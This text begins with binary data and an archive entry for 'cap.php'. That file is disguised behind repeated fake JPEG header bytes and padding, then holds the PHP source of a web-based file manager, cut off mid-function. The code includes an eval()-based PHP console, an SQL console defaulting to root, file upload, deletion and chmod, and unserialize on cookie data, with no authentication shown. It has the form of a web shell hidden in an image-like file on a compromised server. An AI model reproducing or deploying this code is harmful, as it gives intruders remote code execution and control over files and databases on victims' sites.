ו ?Dhj{p,v	\D!'6nq#7RX wB7``-Ċ׳yD"&cI]8Ke1ݺ	0"buA:ӛ815ԓq@|F78  $1\h*#梁E}H*iEDDD& oX_̈́3aAt$"Iq-Ȍߢ8QY4=Q2JKE+~]wMC<DQ3cb'j)-5='*9XlW]!ȩ߯|ll)4T͗q٘(˽@|x*Ķ{٧x<7VYje8FPOigb04itڤ֐@gz)C1^d)J\<WÕ*rŸh+su)ѐ[HNxi!D٠P[c.O]7ٱR"^yW0ʥb27x)ͱkvQON2'樘ǟDx<),xϒf @gSŎ8gZ<^3Oi$^Kt+% f3凑xaWmL<3\Y#ZC-J<|KJ:x^Oxr0otAltڏFe_zQ;^2$|sqwsaSwj$\KnYH0]N3pVcB)XQH,iT+,};˪'(}xr<O#ú<\P*j+bkO.ۣIQI<*lҏN<XyF,F|zpS?~HbȲk޻-Bt	gnB
Bi]&A-z%O`W'YWm5U?"hY1'ʲO̔dImR6%Yd$Y&whHDr=Xj&kD29ksa&k<க/˥Ds~<\OطNQ1(dƇN#ǉ(Np<<L>J=&Sb^Op$ϟV>7|hdt0vfWfnTZr@Vg639ږWR㪝_XQO-_+NbWMRF-'PMvm$-*-֭:JNԳ׵9lvҼ7?CFfTj#Fa8%k4/?ד(K>nEz}T产_t7vZ6DDLWm!>Y->mf#=fP#m$$*qr͞ P$4STuFѩZڏ>>y:_4F4]yj,hqIrOi#]7Kf깙*?W<#rPeK<{ռ_ˣQ;	Bbf<fW[w9eVtj8fBr*L\+Wl1_(bb+?O1em|&=MZk1¾R/+a1	rWcPL~RLv&Z^a9獿,;lwłKjrvOSwCqm%Pp!0j
B~wdmmŜ{NEQ@Y5e }Ok+KI>D7 =Ŧ /7r1O=Hl9;8TH&Vd}Ol;\*3̪$h4[n^I=Z5NQ9ʎ:qV>WJ?3|hf׉4SZiv\O|wGBOpBFV_f[ͧRS6QKV՚$;)Kmie+֑֕FSgEU+ϝ\j3H/ir	7Wrl)lӛKuB#o3y|co^&UcmT-@Rzy)B`u'族`X=ŹhJjk,dUE*/첼#/E^i;[kD=ħd*eW%ּD7,己q1yVxa[ŊE6}OlJ'[nr4fL[fll[KJS<|S^wm/1.$Cz+1942򶲭)\ W&<`9n{(4ׁ`1΍ZB̐6A=.fMTzPnȞZTr`9nβ;JȷSYbYԕF#J.8IO9	i.WYGy2ƛQ\"&mWZ6OQE#򘍖'M2-VڡQRORiv!3Y\JJcMljyV]\
ͺmx3M;\ԶQaZ<rJME 8kȲo+?m9vב
.How[mY+v+eo-^]bJVFBp)b],jWZ+$,w&L|ʰIlbBeZk%@X}z|"+UO3+(f/ȍ *n]pݬvYX'K͹=f_xS|UWʅ22tZ[aE1;Vkܳ'GFZdUx#^;JZVkZ݁TpqSUz9m67_V1u_l<vX[o<]6(4	/
˛RI缛?E<9[\kVZ3]ѵIc Z{i*?m`niP J7W+\y<t9NYHUjUy|{y_lFT\r2si)(~PFX{Okf_;AFNv2K?ڌltJT3hU}+O<^r:'\N
KxK%:-NOCO)@1lZ46mXg".Mg5X[ؠrw*ly;e%Vh/=Ԋx[~M`%Ǣզ2A-"ͬ9axhc]W.ۙhz<ƫ8N!mᱟu`j9)7A?_gK*pǸMmlէZ=Ğ%O5OjZ=*!WͭGx&B"K{xZ::|>uݩ'7㶡E&R|]ߪ%i죤$S.ҫ*.Ʃ(kIO9\J{s4jxQB)e&#Wf^mntw/lk(6a9/3cT	WAq/εM'+iYÛ񴳚ςA(,w=ω\B栽hN.]gϺ3p8Y-B66:IxO?evgYkjvfIZ|uN%KNZmVT[ub@ZSRnSN,߬C)^VfEm$;O8LD[,r~+מN;׎-=B/^V?{{yT~J/V-7YFE~ΟnT%Y]:V5Dtji ܬ5N椱͒sa7[7[7[7[7[7[7[7[7[7[7[7[7[7[ogiC4RN-$nlQ7g/34IʣzM|L5>fzwdmiݔMfnc`qaGJ&-5҄]{bH@Uق3{sq6ݥn<{v@1ĄH6mżEKM Mk|I!ǐ7#
OJ?(JihFra(GYuGROm0<Ds4&%VOViU1Ӧ] Y<żQy.k¨3ϕ犧R)Ӏg79RKvLCq,yJ70NhBSNbj*J-5z&Wܐ`,8,gs`c0&er@.U.fl6ߎۛ@VOh[(hj嬼ɄeyS(d`V)ǰTXPwj \|M,.ԛ;.NjT,[zzNbBǖ%7'>vFf;vpX_N;l78ӎoo96Ϟ(/f#%tȆý	zވ=/-bS:+A]#B@1^珞ȍ[Qu>g%CVC Twr'̉]+jNK[ZxV:@g<y2Y+b0Y)R6r<qi1Rgϭ,(G{Jl>z˩ڸHx'`Cx{Jw^Gl7k=?Sn?z-X òiHxyxy4!YgU@d"kCzܨF7O)EхzߩQy *p1Uڼ?UwxyY(4cզ7,d-ij,*b((\_z.Uq+jOizi^~i2Fc]!	:)s_rwźUSFFc6h
@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \  PK     |\tF3)9 )9   cap.phpnu [        ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
